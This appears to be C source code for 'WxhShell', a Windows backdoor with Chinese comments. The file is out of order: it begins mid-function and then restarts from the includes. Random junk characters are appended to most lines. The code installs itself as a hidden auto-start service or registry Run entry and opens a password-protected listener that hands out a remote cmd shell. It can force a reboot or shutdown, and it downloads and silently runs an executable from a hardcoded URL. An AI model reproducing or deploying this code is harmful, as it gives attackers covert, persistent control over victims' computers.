    if(Boot(SHUTDOWN)) U!?gdX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); An #Hb=  
    else { e ]o'i;I  
    closesocket(wsh); Wk#h,p3  
    ExitThread(0); !{tiTA  
    } 92]ZiL?k  
    break; lkH;N<U  
    } $>"e\L4Kp  
  // 获取shell Qy5Os?9"  
  case 's': { x X/s1(P  
    CmdShell(wsh); |\|)j>[i  
    closesocket(wsh); xVkTRCh  
    ExitThread(0); ]]=fA 4(  
    break; 15KV} ){  
  } *UBP]w  
  // 退出 OssR[$69  
  case 'x': { T<+ht8&M8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Y/fF  
    CloseIt(wsh); q@!'R{fu  
    break; ] @)!:<+  
    } AR~$MCR]"k  
  // 离开 ur<eew@8@i  
  case 'q': { 3<Z'F}lg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o4 %Vt} K  
    closesocket(wsh); R'I_xjC  
    WSACleanup(); l^ 0_> R  
    exit(1); n(1wdlEp  
    break; tpa^k  
        } w;c#drY7S  
  } !/6\m!e|1R  
  } Yn4)Zhkk  
w=D%D8 r2  
  // 提示信息 i#RElH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O~h94 B`  
} w}j6 .r  
  } | 7 m5P@X  
FE+7X=y  
  return; +[whh  
} L$lo~7<]  
>v1 y0zx  
// shell模块句柄 ,](v?v.[4  
int CmdShell(SOCKET sock) 6Lg!L odu  
{ \f/#<|Hm  
STARTUPINFO si; AhvvuN$n%  
ZeroMemory(&si,sizeof(si)); &nqdl+|G*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'h^-t^:<>b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9fP) Fwih  
PROCESS_INFORMATION ProcessInfo; 3w/( /|0  
char cmdline[]="cmd"; h4aygc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5S%C~iB  
  return 0; [jl2\3*  
} hN gpp-  
K85_>C%g  
// 自身启动模式 pbDw Lo]  
int StartFromService(void) <i}q=%W!1  
{ / R_ u\?k(  
typedef struct YH[XRUa  
{ F!7f_m0=  
  DWORD ExitStatus; :1aL9 fT  
  DWORD PebBaseAddress; xLx"*jyL  
  DWORD AffinityMask; v"u7~Dw# 1  
  DWORD BasePriority; m|]j'g?{}(  
  ULONG UniqueProcessId; /Hv* K&}M  
  ULONG InheritedFromUniqueProcessId; Hp\Ddx >Jd  
}   PROCESS_BASIC_INFORMATION; )A="eW_>  
Z-(} l2\  
PROCNTQSIP NtQueryInformationProcess; #P(l2(  
cz2,",+~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Q;i.u{V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yp=|7  
hPa n  
  HANDLE             hProcess; =op`fn%  
  PROCESS_BASIC_INFORMATION pbi; 7p)N_cJD  
j]pohxn$5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3->,So0Y  
  if(NULL == hInst ) return 0; F9MR5O"  
PzjaCp'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {Q)dU-\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4P|$LkI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hUVk54~l  
pd d|n2q  
  if (!NtQueryInformationProcess) return 0; %=V"CJ$|  
[UMLx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); On=u#DxQ  
  if(!hProcess) return 0; -b cG[W3  
<eY %sFq,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NZ>7dJ  
)ZGYhE  
  CloseHandle(hProcess); e RA7i  
*B1x`=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4E2yH6l  
if(hProcess==NULL) return 0; C\ vC?(n  
{>@QJlE0  
HMODULE hMod; aqF+zPKs6  
char procName[255]; =_[2n?9y  
unsigned long cbNeeded; wX ,h< \7  
3:l DL2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4r\*@rq  
%tV32l=  
  CloseHandle(hProcess); PWvSbn6  
\eQ la8s  
if(strstr(procName,"services")) return 1; // 以服务启动 jyi FM5&  
Bz+.Qa+  
  return 0; // 注册表启动 )\wuesAO  
} U/Wrh($ #4  
iU5P$7.p  
// 主模块 9JPEj-3`g  
int StartWxhshell(LPSTR lpCmdLine) gE\b 982  
{ `FZF2.N  
  SOCKET wsl; (YwalfG {C  
BOOL val=TRUE; oV9z(!X/  
  int port=0; ;1 |x  
  struct sockaddr_in door; d ;^  
l&L,7BX  
  if(wscfg.ws_autoins) Install(); k#C f})  
~-_i  
port=atoi(lpCmdLine); O$qtq(Q%  
sw$2d  
if(port<=0) port=wscfg.ws_port; p&^J=_O  
gO='A(Y  
  WSADATA data; r<c #nD~K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZjD)? 4  
T|;@ T^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4(=kE>n}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IkDiT63]I  
  door.sin_family = AF_INET; x7dEo%j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /[ K_ &  
  door.sin_port = htons(port); zrRFn `B  
ZyI$M3{J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2.-o@im0  
closesocket(wsl); {\G `]r-cM  
return 1; Zw{MgoJ0Z  
} mnjs(x<m  
|sIr?RL{C  
  if(listen(wsl,2) == INVALID_SOCKET) { $DebXxJw0l  
closesocket(wsl); xJc$NV-JzK  
return 1; 7 [d ?  
} WC*=rWRxF  
  Wxhshell(wsl); hJ*Ihwn|  
  WSACleanup(); *geN [ [  
0[xpEiDx  
return 0; m#e*c [*G  
Pbn!KX~F~  
} pKT2^Q}-h  
tY+$$GSQj  
// 以NT服务方式启动 eC! #CK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O_;Dk W  
{ };,/0Fu  
DWORD   status = 0; .Z\Q4x#!Z  
  DWORD   specificError = 0xfffffff; $,fy$ Qk,S  
%m&@o~+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i"r!w|j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;65D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $ s-Y%gc  
  serviceStatus.dwWin32ExitCode     = 0; YKZa$@fA?  
  serviceStatus.dwServiceSpecificExitCode = 0; 4!.(|h@  
  serviceStatus.dwCheckPoint       = 0; 0 1V^L}  
  serviceStatus.dwWaitHint       = 0; 0w=R_C)s  
Bv6 K$4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :E&g%'1  
  if (hServiceStatusHandle==0) return; o}$1Ay*q`  
|[$~\MU  
status = GetLastError(); +4))/` DA  
  if (status!=NO_ERROR) 1} %B%*N  
{ 9?<{_'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c>:R3^\lwx  
    serviceStatus.dwCheckPoint       = 0; Lel|,mc`k2  
    serviceStatus.dwWaitHint       = 0; >&:NFq-  
    serviceStatus.dwWin32ExitCode     = status; MGJ.,tK1  
    serviceStatus.dwServiceSpecificExitCode = specificError; vBcq_sbo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ztr Cv?  
    return; z4X}O {  
  } %McE` 155  
G\de2Q"d:O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b^0}}12  
  serviceStatus.dwCheckPoint       = 0; <h-vjz  
  serviceStatus.dwWaitHint       = 0; t. ='/`!N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -G7TEq)  
} ar9]"s+'  
[* ?Awf`   
// 处理NT服务事件,比如:启动、停止 RTh`ENCKR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ `M\Ir  
{ z`UhB%-?  
switch(fdwControl) Y_woKc*  
{ #X 52/8G  
case SERVICE_CONTROL_STOP: Zwz&rIQpT  
  serviceStatus.dwWin32ExitCode = 0; o%9*B%HO/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i.D3'l  
  serviceStatus.dwCheckPoint   = 0; scLn=  
  serviceStatus.dwWaitHint     = 0; Q/>{f0  
  { J &pO%Q=b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /DQaGq/Ld  
  } 2EZb )&Q  
  return; hd),&qoW?  
case SERVICE_CONTROL_PAUSE: g L_Y,A~Q{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NS%WeAf  
  break; .A sv%p[W  
case SERVICE_CONTROL_CONTINUE: "#[!/\=?:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =  C4  
  break; ),G=s Oo  
case SERVICE_CONTROL_INTERROGATE: &wD;SMr<  
  break; h$4Hw+Yxs]  
}; 1$M@]7e+!+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mEw ~yOW]M  
} &l3iV88  
]gYz 4OT  
// 标准应用程序主函数 d&ex5CU5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }VS5gxI1.  
{ Zt.'K(]2h  
0 stc9_O  
// 获取操作系统版本 -FU}pz/  
OsIsNt=GetOsVer();  GB$;n?  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  IiY/(N+J  
D6>HN[D"  
  // 从命令行安装 s2Mb[#:a"  
  if(strpbrk(lpCmdLine,"iI")) Install(); VeW>[08  
?b(=1S\E'^  
  // 下载执行文件 ZosP(Tdq  
if(wscfg.ws_downexe) { bbrXgQ`s+w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $GlWf  
  WinExec(wscfg.ws_filenam,SW_HIDE);  o4|M0  
} ]H`1F1=  
e" St_z(  
if(!OsIsNt) { SHe49!RA'{  
// 如果时win9x,隐藏进程并且设置为注册表启动 _lamn }(x0  
HideProc(); mIK7p6  
StartWxhshell(lpCmdLine); |Y?H A&  
} "wNJ  
else rJGf .qJJ  
  if(StartFromService()) Wk)OkIFR  
  // 以服务方式启动  R}O_[  
  StartServiceCtrlDispatcher(DispatchTable); x[a<mk  
else `{dm;j5/y  
  // 普通方式启动 vX/T3WV  
  StartWxhshell(lpCmdLine); JpXlBEio%  
kqFP)!37  
return 0; f|\onHI)>  
} %J+E/  
<g"{Wv: h  
SLa>7`<Q  
jYk&/@`Ly  
=========================================== 4 o Fel.o  
Gefne[  
=vX/{C  
'uBu6G  
h2G$@8t}I  
PvPOU"  
" .(K)?r-g5  
[_k1jHr48N  
#include <stdio.h> _852H$H\  
#include <string.h> `sn^ysp  
#include <windows.h> s~^5kgPA  
#include <winsock2.h> HiZ*+T.B  
#include <winsvc.h> IxY|>5z  
#include <urlmon.h> r>>%2Z-P  
=;Au<|  
#pragma comment (lib, "Ws2_32.lib") Te"ioU?.  
#pragma comment (lib, "urlmon.lib") NPy&OcRl  
9jM}~XvV  
#define MAX_USER   100 // 最大客户端连接数 C5o#i*|  
#define BUF_SOCK   200 // sock buffer <:+x+4ru  
#define KEY_BUFF   255 // 输入 buffer d; boIP`M;  
@>,^":`#  
#define REBOOT     0   // 重启 Fs9!S a7v  
#define SHUTDOWN   1   // 关机 01t1Z}!y  
|d{PA.@33  
#define DEF_PORT   5000 // 监听端口 p`olCp'  
P3x8UR=fS  
#define REG_LEN     16   // 注册表键长度 BC^ :=  
#define SVC_LEN     80   // NT服务名长度 =^M/{51j  
DX#Nf""Pw  
// 从dll定义API A8muQuj]~~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ni9/}bb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W=N+VqK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n(1l}TJy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <FV1Wz  
;17E(tl  
// wxhshell配置信息 }bb;~  
struct WSCFG { K@ I 9^b  
  int ws_port;         // 监听端口 V(H1q`ao9  
  char ws_passstr[REG_LEN]; // 口令 03$mYS_?  
  int ws_autoins;       // 安装标记, 1=yes 0=no I fK,b*%  
  char ws_regname[REG_LEN]; // 注册表键名 0yk]o5a++  
  char ws_svcname[REG_LEN]; // 服务名 g];!&R-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W=~~5jFX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $0W|26;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d[iQ` YW5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8I=2lK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` 'DmDg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KjD/o?JUr  
.Y tKS  
}; ; 5*&xz  
!z\h| wU+  
// default Wxhshell configuration ">\?&0  
struct WSCFG wscfg={DEF_PORT, T^zXt?  
    "xuhuanlingzhe", sA+ }TNhq  
    1, (d(CT;  
    "Wxhshell", 1KU! tL  
    "Wxhshell", u+9hL4  
            "WxhShell Service", yl'u'-Zb6  
    "Wrsky Windows CmdShell Service", /ixp&Z|7  
    "Please Input Your Password: ", /J]5H  
  1, nGC/R&  
  "http://www.wrsky.com/wxhshell.exe", !Jo_"#5  
  "Wxhshell.exe" mVj9, q0  
    }; tR# OjkvX  
/4yo`  
// 消息定义模块 #$.;'#u'so  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D, k6$`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >R'F,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .#EFLXs  
char *msg_ws_ext="\n\rExit."; #NQMy:JHD)  
char *msg_ws_end="\n\rQuit."; ]}V<*f  
char *msg_ws_boot="\n\rReboot..."; 0 j^Kgx  
char *msg_ws_poff="\n\rShutdown..."; wi!?BCseq  
char *msg_ws_down="\n\rSave to "; d9k0F OR1  
&5>Kl}7  
char *msg_ws_err="\n\rErr!"; "fb[23g%@k  
char *msg_ws_ok="\n\rOK!"; q v-8)MSr  
irZ])a  
char ExeFile[MAX_PATH]; F/ ]2G^-  
int nUser = 0; M$ wC=b  
HANDLE handles[MAX_USER]; <;lkUU(WT2  
int OsIsNt; \UA[  
kBS9tKBWg  
SERVICE_STATUS       serviceStatus; B.=FSow  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lw1Yvtn  
<3n Mx^  
// 函数声明 6W/`07 '  
int Install(void); jV i) Efy  
int Uninstall(void); TP*hd  
int DownloadFile(char *sURL, SOCKET wsh); b 1c y$I  
int Boot(int flag); z'Hw  
void HideProc(void); [+^1.N  
int GetOsVer(void); /l3V3B7  
int Wxhshell(SOCKET wsl); cTifC1Pf  
void TalkWithClient(void *cs); 8|gIhpO?^  
int CmdShell(SOCKET sock); KS+'|q<?w  
int StartFromService(void); Z{*\S0^ST  
int StartWxhshell(LPSTR lpCmdLine); /PVk{3  
q])K,)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x>K Or,f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yxPazz  
"Bkfoi  
// 数据结构和表定义 l$KA)xbI  
SERVICE_TABLE_ENTRY DispatchTable[] = v&\Q8!r_  
{ hPB9@ hT$  
{wscfg.ws_svcname, NTServiceMain}, +Ze} B*0  
{NULL, NULL} : $1?i)  
}; iT+8|Yia  
#~]zhHI  
// 自我安装 gT. sj d  
int Install(void) q1x`Bj   
{ yX>K/68  
  char svExeFile[MAX_PATH]; yZY\MB/  
  HKEY key; :U|1xgB  
  strcpy(svExeFile,ExeFile); )MVz$h{c.]  
dFxIF;C>/  
// 如果是win9x系统,修改注册表设为自启动 (XTG8W sN  
if(!OsIsNt) { K8|r&`X0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FjHv   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %6 zB Sje  
  RegCloseKey(key); 5Pc;5 o0C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mthA4sz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 /]S^'>  
  RegCloseKey(key); N{!i=A  
  return 0; P= BZ+6DS  
    } @D[_}JE  
  } /KaZH R.  
} !qQl@j O  
else { +.PxzL3?  
L<cx:Vz  
// 如果是NT以上系统,安装为系统服务 *8A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tKuwpT1Qc  
if (schSCManager!=0) df+l%9@  
{ oSKXt}sh  
  SC_HANDLE schService = CreateService _yx>TE2e  
  ( (S5R!lpO  
  schSCManager, q9K)Xk$LF  
  wscfg.ws_svcname, C==hox7b  
  wscfg.ws_svcdisp, ?4}h&/  
  SERVICE_ALL_ACCESS, @i_FTN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~vhE|f  
  SERVICE_AUTO_START, H2 {+)  
  SERVICE_ERROR_NORMAL, SHxNr(wJ<Q  
  svExeFile, PdFKs+Z`  
  NULL, gs[uD5oo<  
  NULL, ?=7 cF  
  NULL, ?!:ha;n  
  NULL, +o{R _  
  NULL  DPxM'7  
  ); wmL'F:UP  
  if (schService!=0) .VJMz4$]O  
  { uAq~=)F>,  
  CloseServiceHandle(schService); f}ji?p  
  CloseServiceHandle(schSCManager); /Iy]DU8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t|\%VC  
  strcat(svExeFile,wscfg.ws_svcname); On:il$MU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /t57!&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aiUY>M#|  
  RegCloseKey(key); _Ey9G  
  return 0; 3S@7]Pg  
    } ~ 'cmSiz-  
  } 7kLz[N6Ll  
  CloseServiceHandle(schSCManager); , kGc]{'W  
} %nZo4hnr$r  
} .V/Rfq  
^ogt+6c  
return 1; Gr'  CtO  
} jXx<`I+]  
nwe* BVp  
// 自我卸载 3{64 @s  
int Uninstall(void) x,+{9  
{ K(rWNO  
  HKEY key; 9 ';JXf$  
}O5i/#.lR  
if(!OsIsNt) { '~<m~UXvD#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d#Y^>"|$.  
  RegDeleteValue(key,wscfg.ws_regname); . B9iLI  
  RegCloseKey(key); qp }Cqi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U^%Q}'UYym  
  RegDeleteValue(key,wscfg.ws_regname); w~A{(- dx  
  RegCloseKey(key); J.b9F:&}  
  return 0; `Bp.RXsd*  
  } QB uMJm  
} [< ?s?Ci  
} A*2jENgci  
else { }Yzco52  
[Cz-i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H3 ^},.  
if (schSCManager!=0) H>IMf/%5N-  
{ !8d{q)JZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c /HHy,  
  if (schService!=0) Gbr=+AT  
  { @Z %ivR:  
  if(DeleteService(schService)!=0) { mbxZL<ua  
  CloseServiceHandle(schService); '&tG?gb&  
  CloseServiceHandle(schSCManager); @/.;Xw]  
  return 0; ?m}s4a  
  } 3g,`.I_  
  CloseServiceHandle(schService); 2j88<Yh]H  
  } jh%Eq+#S  
  CloseServiceHandle(schSCManager); z6=Z\P+  
} .m,_N@,  
} O7m(o:t x3  
^R7lom.  
return 1; }<v@01  
} v5#j Z$<F  
/sx&=[ D  
// 从指定url下载文件 dO<ERY  
int DownloadFile(char *sURL, SOCKET wsh) IqaT?+O\?r  
{ P6-s0]-g  
  HRESULT hr; 8B K(4?gC  
char seps[]= "/"; B$fPgW-  
char *token; ?}tFN_X"  
char *file; qpP=K $  
char myURL[MAX_PATH]; :Uzm  
char myFILE[MAX_PATH]; @]%IK(|  
\^J%sf${  
strcpy(myURL,sURL); 6$Xzpg(o  
  token=strtok(myURL,seps); %+W{iu[|  
  while(token!=NULL) z,[Hli*0  
  { rxvx  
    file=token; X1x#6 oi  
  token=strtok(NULL,seps); 2 /\r)$ 2i  
  } X8a/ `Y,  
BQE|8g'&T  
GetCurrentDirectory(MAX_PATH,myFILE); r[`9uVT/  
strcat(myFILE, "\\"); u"cV%(#  
strcat(myFILE, file); HSE!x_$  
  send(wsh,myFILE,strlen(myFILE),0); *k(XW_>  
send(wsh,"...",3,0); S}m)OmrmA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h,u, ^ r  
  if(hr==S_OK) n`?aC|P2s  
return 0; )1J R#  
else Fx_z6a  
return 1; H7&8\ FNa  
wtQ++l%{G  
} Olt?~}  
qdJ=lhHM}  
// 系统电源模块 p SH=%u>  
int Boot(int flag) 8?#/o c  
{ T\6dm/5  
  HANDLE hToken; O'p9u@kc  
  TOKEN_PRIVILEGES tkp; ` xEx^P^7  
*MFIV02[N  
  if(OsIsNt) { O-0x8O^B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 93 )sk/j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T?CdZc.  
    tkp.PrivilegeCount = 1; 4<w.8rR:A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'A=^Se`=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  twHVv  
if(flag==REBOOT) { A7Cm5>Y_S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lV3x*4O=  
  return 0; #1A.?p  
} lwxaMjaL4K  
else { \_VA 50  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `!3SF|x&  
  return 0; _2Zx?<] 2E  
} >W=,j)MA  
  } 1Z/(G1  
  else { e9Wa<i 8  
if(flag==REBOOT) { R3)~?X1n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +5g_KS  
  return 0; z3{G9Np  
} ]Grek<  
else { ]NQfX[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,a{P4Bq  
  return 0; U*rcd-@  
} ,\W 8b-Z  
} !]A  
q<x/Hat)  
return 1; ^  glri$m  
} ,1.p%UE]>  
j1Y~_  
// win9x进程隐藏模块 GLH0 ]  
void HideProc(void) K C*e/J  
{ x xHY+(m  
nK1Slg#U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1SQ3-WU s  
  if ( hKernel != NULL ) =g7x' kN  
  { 9R!atPz9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m+`cS=-.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ozyX$tp  
    FreeLibrary(hKernel); Co9^OF-k  
  } Pa>AWOG'  
9!ngy*\x  
return; \Gef \   
} "@^k)d$  
v4a8}G  
// 获取操作系统版本 JMCKcZ%N  
int GetOsVer(void) '0;l]/i.  
{ ?> 9/#Nv  
  OSVERSIONINFO winfo; 0Uz"^xO["  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M5 LfRBO  
  GetVersionEx(&winfo); _O)>$.^6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i]c!~`  
  return 1; X;+sUj8  
  else : g7@PJND  
  return 0; wA ,6bj  
} R3f89  
w?PkO p  
// 客户端句柄模块 ZuzEg*lb  
int Wxhshell(SOCKET wsl) -u+vJ6EY  
{ (!u~CZ;  
  SOCKET wsh; l ~"^7H?4e  
  struct sockaddr_in client; 93>jr<A  
  DWORD myID; +%z> H"J.  
+yG~T  
  while(nUser<MAX_USER) @f>-^  
{ PudS2k_Qv  
  int nSize=sizeof(client); fivw~z|[@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *}qWj_RT  
  if(wsh==INVALID_SOCKET) return 1; [C 7^r3w  
5+0gR &|j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r.=K~A  
if(handles[nUser]==0) dmtr*pM_  
  closesocket(wsh); gT{Q#C2Baw  
else H064BM  
  nUser++; #b}Z`u?@  
  } ];$L &5^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aH(J,XY  
JAnZdfRt  
  return 0; F@7jx:tI  
} IVnHf_PzF  
IZ-1c1   
// 关闭 socket Jl8H|<g~/  
void CloseIt(SOCKET wsh) ' ,wFTV&  
{ 7vKK%H_P  
closesocket(wsh); 1p3z1_wrs  
nUser--; ha<[b ue  
ExitThread(0); ea2ayT  
} J7$5s  
`:fZ)$sY  
// 客户端请求句柄 +4~_Ei[i  
void TalkWithClient(void *cs) a 7 V-C  
{ :K,i\  
.k%72ez  
  SOCKET wsh=(SOCKET)cs; x_Y!5yg E  
  char pwd[SVC_LEN]; epe)a  
  char cmd[KEY_BUFF]; _Kf%\xg  
char chr[1]; Y;M|D'y+  
int i,j; ] IQ&>z}<  
a$OE0zn`  
  while (nUser < MAX_USER) { R$<&ie6UQ  
'3tCH)s  
if(wscfg.ws_passstr) { Tn e4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K#d`Hyx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k@J&IJ  
  //ZeroMemory(pwd,KEY_BUFF); ,AFu C <  
      i=0; s?}e^/"v  
  while(i<SVC_LEN) { )F>#*P  
,/I.t DH  
  // 设置超时 8C:z"@o  
  fd_set FdRead; |v%YQ R  
  struct timeval TimeOut; 3z?> j]  
  FD_ZERO(&FdRead); U(g:zae  
  FD_SET(wsh,&FdRead); D?_Zl;bQ'^  
  TimeOut.tv_sec=8; %/.b~|,-  
  TimeOut.tv_usec=0; lvz7#f L~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DV-d(@`K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i$G@R %  
E6ElNgL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LckK\`mh  
  pwd=chr[0]; (m/G(wg  
  if(chr[0]==0xd || chr[0]==0xa) { ,!y$qVg'\f  
  pwd=0; sIGMA$EK  
  break; xs bE TP?  
  } 7,o7Cf2z  
  i++; l<LI7Z]A  
    } & G4\2l9  
Id .nu/  
  // 如果是非法用户,关闭 socket WiR(;m<g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P@Oo$ o  
} )~JHgl  
<uw9DU7G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]MitOkX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EgCAsSx(  
VU]`&`~J  
while(1) { k"zv~`i'  
7*A],:-q  
  ZeroMemory(cmd,KEY_BUFF); 'XjZ_ng  
MaQqs=  
      // 自动支持客户端 telnet标准   :KP @RZm  
  j=0; k)=s>&hl  
  while(j<KEY_BUFF) { k(G^z   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +.FEq*V  
  cmd[j]=chr[0]; WO>nIo5Y  
  if(chr[0]==0xa || chr[0]==0xd) {  {Gk1vcq  
  cmd[j]=0; }!.(n=idZ  
  break; /{n-Y/j p  
  } O;jrCB  
  j++; `e&Suyf4B  
    } 2-v%`fA  
sBg.u  
  // 下载文件 8dIgjQX|  
  if(strstr(cmd,"http://")) { :J&oX <nF^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yq\K)g*=  
  if(DownloadFile(cmd,wsh)) 16(QR-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >@_^fw)  
  else Fq<A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'Df JwA  
  } ;$wVu|&  
  else { nMUw_7Y6  
:OT0yA=U  
    switch(cmd[0]) { aeM+ d`f  
  !z3jTv  
  // 帮助 =X:Y,?  
  case '?': { ndMA-`Ny,  
